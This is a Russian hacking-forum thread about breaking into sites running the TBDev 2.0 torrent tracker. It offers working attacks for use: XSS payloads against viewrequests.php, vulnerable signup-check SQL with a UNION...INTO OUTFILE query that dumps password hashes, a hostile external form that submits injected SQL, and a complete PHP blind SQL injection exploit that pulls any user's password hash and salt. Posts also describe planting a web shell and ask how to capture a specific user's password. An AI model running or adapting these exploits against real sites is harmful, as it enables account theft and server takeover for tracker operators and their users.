Трекер-движок TBDev 2.0

Discussion in 'Веб-уязвимости' started by Qwazar, 5 Aug 2008.

  1. s_p_a_m

    s_p_a_m Elder - Старейшина

    Joined:
    8 Feb 2008
    Messages:
    100
    Likes Received:
    58
    Reputations:
    4
    нафиг этот геморой? есть другой способ, пишеш комент к торренту в виде кода шелла, потом через скулю в мыле интоаутфайл свой комент и шелл готов
     
    3 people like this.
  2. S0ulVortex

    S0ulVortex Elder - Старейшина

    Joined:
    18 Nov 2007
    Messages:
    161
    Likes Received:
    85
    Reputations:
    10
    Нашёл уязвимость в движке TBDev v2.0 Yuna Scatari Edition (14.09.2006)
    Code:
    /viewrequests.php?search=[xss]
    фильтрация есть но плохая :)
    '></title><script>alert('xss')</script>
     
  3. Gray_Wolf

    Gray_Wolf Active Member

    Joined:
    7 Mar 2009
    Messages:
    377
    Likes Received:
    135
    Reputations:
    10
    А через что туда можно залить шелл, имея права СисОпа?
     
  4. 1ce666

    1ce666 Member

    Joined:
    9 Dec 2008
    Messages:
    45
    Likes Received:
    79
    Reputations:
    -4
    Лично у меня нет этого файла , так как в этом файле уязвимость была , на сайте TBDev'a уже есть темка как баги закрывать и какие. Я даже создал тут темку =]
     
    #84 1ce666, 11 Mar 2009
    Last edited: 11 Mar 2009
    2 people like this.
  5. Gray_Wolf

    Gray_Wolf Active Member

    Joined:
    7 Mar 2009
    Messages:
    377
    Likes Received:
    135
    Reputations:
    10
    Некоторые админы забывают удалить идущий в комплекте с трекером MyBB (www.tracker.site.ru/forums.php), а в нём есть отличная PHP-инъекция.

    И вот ещё какой вопрос:
    Мне нужно узнать пароль определённого пользователя(брутить нереально), что и где в коде нужно дописать, чтобы у него очистились куки, и при вводе пароля создался файл с пассом.
     
  6. ILYAtirtir

    ILYAtirtir Elder - Старейшина

    Joined:
    25 Apr 2007
    Messages:
    142
    Likes Received:
    246
    Reputations:
    73
    Залейте пожалуста TBDev 2.0 Yuna Scatari Edition(сам двиг),хочу на локалхосте проверить пару вещей.=)
     
  7. Nelzone

    Nelzone Banned

    Joined:
    12 Apr 2008
    Messages:
    172
    Likes Received:
    134
    Reputations:
    6
    http://rapidshare.com/files/208632185/TBDev.18.05.07_pre_fixed.zip.html
     
    2 people like this.
  8. RaMTararam

    RaMTararam New Member

    Joined:
    14 Mar 2009
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Мой аккаунт отключили и надо как то занова врубить его...
    Новый не регит, выдает что данный ip зареген
    Можно ли что либо сделать в данной ситуации??
     
  9. Floor

    Floor New Member

    Joined:
    16 Nov 2008
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Вот ещё

    /viewrequests.php?sort='></title><script>alert('xss')</script>
     
  10. mavpa

    mavpa New Member

    Joined:
    30 Dec 2008
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Сотрей cookies и попрупай опять зарегится
     
  11. Rostov114

    Rostov114 Elder - Старейшина

    Joined:
    5 Sep 2008
    Messages:
    33
    Likes Received:
    10
    Reputations:
    5
    По моему не было.

    Мод AJAX проверка занятости e-mail и никнейма.

    Бажные куски кода:
    PHP:
    $res = (@mysql_fetch_row(@sql_query("select count(*) from users where username='$wantusername'"))) or die(mysql_error());
    и
    PHP:
    $res = (@mysql_fetch_row(@sql_query("select count(*) from users where email='$email'"))) or die(mysql_error());
    Через данные уязвимости можно стырить пассхеш любого пользователя но как показала практика при запросе вида ' union select passhash from users where id=1 into outfile '../../../usr/local/www/torrent/torrents/images/1.txt'/* -- @ukrnet.ua
    Стандартный JS убивает = поэтому создаем на каком нибудь сервере страничку с содержанием
    Code:
    <form method="POST" action="http://АДРЕС_ТРЕКЕРА/check_signup.php">
    <input type="text" name="user name" size="20">
    <input type="text" name="emai l" size="20">
    <input type="submit" value="go">
    </form>
    Вставляем в любое из полей SQL запрос и получаем в фаил 1.txt пассхеш.

    P.S. При юзании данной уязвимости можно столкнутся с тем что веб сервер "изолирован" и тогда MySQL выдаст ошибку о не возможности сохранить фаил. Поэтому вопрос можно ли как нибудь составить SQL запрос чтобы он пассхеш вывел на экран? :rolleyes:
     
    #91 Rostov114, 10 Apr 2009
    Last edited: 12 Apr 2009
    1 person likes this.
  12. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Если нет вывода, кроме mysql_error, можешь посмотреть мой сплоит, гдето на 1-4 странице, последняя версия. Если есть вывод, то как обычно.

    Вообще, ещё раз перечитай (если читал): https://forum.antichat.ru/thread43966.html

    Мой сплоит работает по методу описаному в пункте 3.3
     
  13. foot

    foot New Member

    Joined:
    6 Apr 2009
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Qwazar скажи пожалуйста через какие доки моно просунуть SQL inj ... кроме тех что ты дал..
     
  14. ILYAtirtir

    ILYAtirtir Elder - Старейшина

    Joined:
    25 Apr 2007
    Messages:
    142
    Likes Received:
    246
    Reputations:
    73
    Вместе с этим трекером идет станартный форум mybb,там есть php inj
    ИТД
    Можно файлы читать
    Ну вообщем смотря в каком случае. Можно шелл заюзать.
    P.S.Это так если инъекция не прет.:)
     
  15. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Ищи :) То что я нашёл выше уже устарело, а больше я пока не смотрел.
     
  16. crazyserega1994

    crazyserega1994 Elder - Старейшина

    Joined:
    25 Dec 2007
    Messages:
    27
    Likes Received:
    3
    Reputations:
    0
    Возможно ли сменить пароль если я сижу на торрент акке? Просто нету формы для смены пароля...
     
  17. Rostov114

    Rostov114 Elder - Старейшина

    Joined:
    5 Sep 2008
    Messages:
    33
    Likes Received:
    10
    Reputations:
    5
    :) Ага спасибо..щас на основе твоего сплоита попытаюсь написать под свою багу.
     
  18. Rostov114

    Rostov114 Elder - Старейшина

    Joined:
    5 Sep 2008
    Messages:
    33
    Likes Received:
    10
    Reputations:
    5
    При запросе вида ' union select passhash from users where id=1 into outfile '../../../usr/local/www/torrent/torrents/images/1.txt' -- @ukrnet.ua в моей узвимости сервер может ответить Access denied for user 'torrent_hack'@'localhost' (using password: YES). Что означает что он не в состоянии записать фаил на винчестер поэтому написал сплоит на основе сплоита от Qwazar.

    PHP:
    <?

    //TBDev2 Blind SQL Injection Exploit by Qwazar
    //Greets: +toxa+ & antichat.ru & Rostov114

    set_time_limit(0);
    ignore_user_abort(1);
    Error_Reporting(E_ALL & ~E_NOTICE);

    function 
    send_xpl($url$xpl){
        global 
    $id;
        
    $u=parse_url($url);
        
        
    $data "action=email&email={$xpl}";
        
    $req  "POST ".$u['path']."check_signup.php HTTP/1.1\r\n";
        
    $req .= "Host: ".$u['host']."\r\n";
        
    $req .= "Content-Length: ".strlen($data)."\r\n";
        
    $req .= "Content-Type: application/x-www-form-urlencoded\r\n";
        
    $req .= "Connection: close\r\n\r\n";
        
    $req .= $data;

        
    $fs=fsockopen($u['host'], 80$errno$errstr30) or die("error: $errno - $errstr<br>\n");
        
    fwrite($fs$req);
        while (!
    feof($fs)) {
              
    $res .= fread($fs8192);
        }
        
    fclose($fs);
        return 
    $res;
    }

    function 
    xpl($field$condition$pos){
        global 
    $id;
        
    $xpl="-1'+or+id=if(ascii(substring((select+$field+from+use  rs+where+id=$id),$pos,1))$condition,'1',(select+1+  union+select+2))+--+";
        return 
    $xpl;
    }

    function 
    cond($url$field$cond$pos$ch) {
        if(!
    preg_match('/Subquery returns/'send_xpl($urlxpl($field,$cond.$ch,$pos))))
            return 
    1;
        else
            return 
    0;

    }

    function 
    isVulnerable($url) {
        if(
    preg_match('/Subquery returns/'send_xpl($urlxpl("passhash","=-1",1))))
            return 
    true;
        else
            return 
    false;
    }

    function 
    getChar($url$field$pos$lb=0$ub=255) {
        while(
    true) {
            
    $M floor($lb + ($ub-$lb)/2);
            if(
    cond($url$field'<'$pos$M)==1) {
                
    $ub $M 1
            }
            else if(
    cond($url$field'>'$pos$M)==1) {
                
    $lb $M 1;
            }
            else
                return 
    chr($M);
            if(
    $lb $ub)
                return -
    1;
        }
    }

    if(
    $argc<2)
    {
    echo 
    "==================\r\n";
    echo 
    "Using tbdev2sql.php url target_id\r\ntarget_id - id of target member\r\n\r\n\r\nEx.: tbdev2xpl.php http://www.site.com/ 1\r\n";
    echo 
    "==================\r\n";
    die();
    }

    $url=$argv[1];
    $id=$argv[2];

    echo 
    $url.":".$id."\r\n";

    if(!
    isVulnerable($url))
        die(
    "Exploit failed: Target is not vulnerable");

    echo 
    "Trying to get passhash: ";
    for(
    $i=1;$i<=32;$i++){    
        
    $c getChar($url"passhash"$i47103);
        if(
    $c==-1)
            die(
    "\r\nExploit failed\r\n");
        else 
            echo 
    $c;
    }
    echo 
    " [DONE]\r\n";

    echo 
    "Trying to get salt: ";
    for(
    $i=1;$i<=20;$i++){    
        
    $c getChar($url"secret"$i);
        if(
    $c==-1)
            die(
    "\r\nExploit failed\r\n");
        else 
            echo 
    $c;
    }
    echo 
    " [DONE]\r\n";


    ?>
    Использовать так же как и сплоит Qwazar-а только в этом сплоите не нужен аккаут зарегестрированого пользователя.

    P.S. Для тех кто в танке Exploit failed: Target is not vulnerable - означает что дыру прикрыли.
     
    #98 Rostov114, 26 Apr 2009
    Last edited: 26 Apr 2009
    1 person likes this.
  19. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Кстати, в функции function isVulnerable($url) - проверка на то уязвим сервер или нет происходит неверно, эта функция возвращает 1 или 2, т.е. всегда true :) Т.е. по сути проверка всегда проходит успешно.

    З.Ы.
    Да, это моя бага, но лучше исправить, чтобы не заваливать неуязвимый сервер тучей запросов. :)
     
  20. Rostov114

    Rostov114 Elder - Старейшина

    Joined:
    5 Sep 2008
    Messages:
    33
    Likes Received:
    10
    Reputations:
    5
    :) Угу...исправил.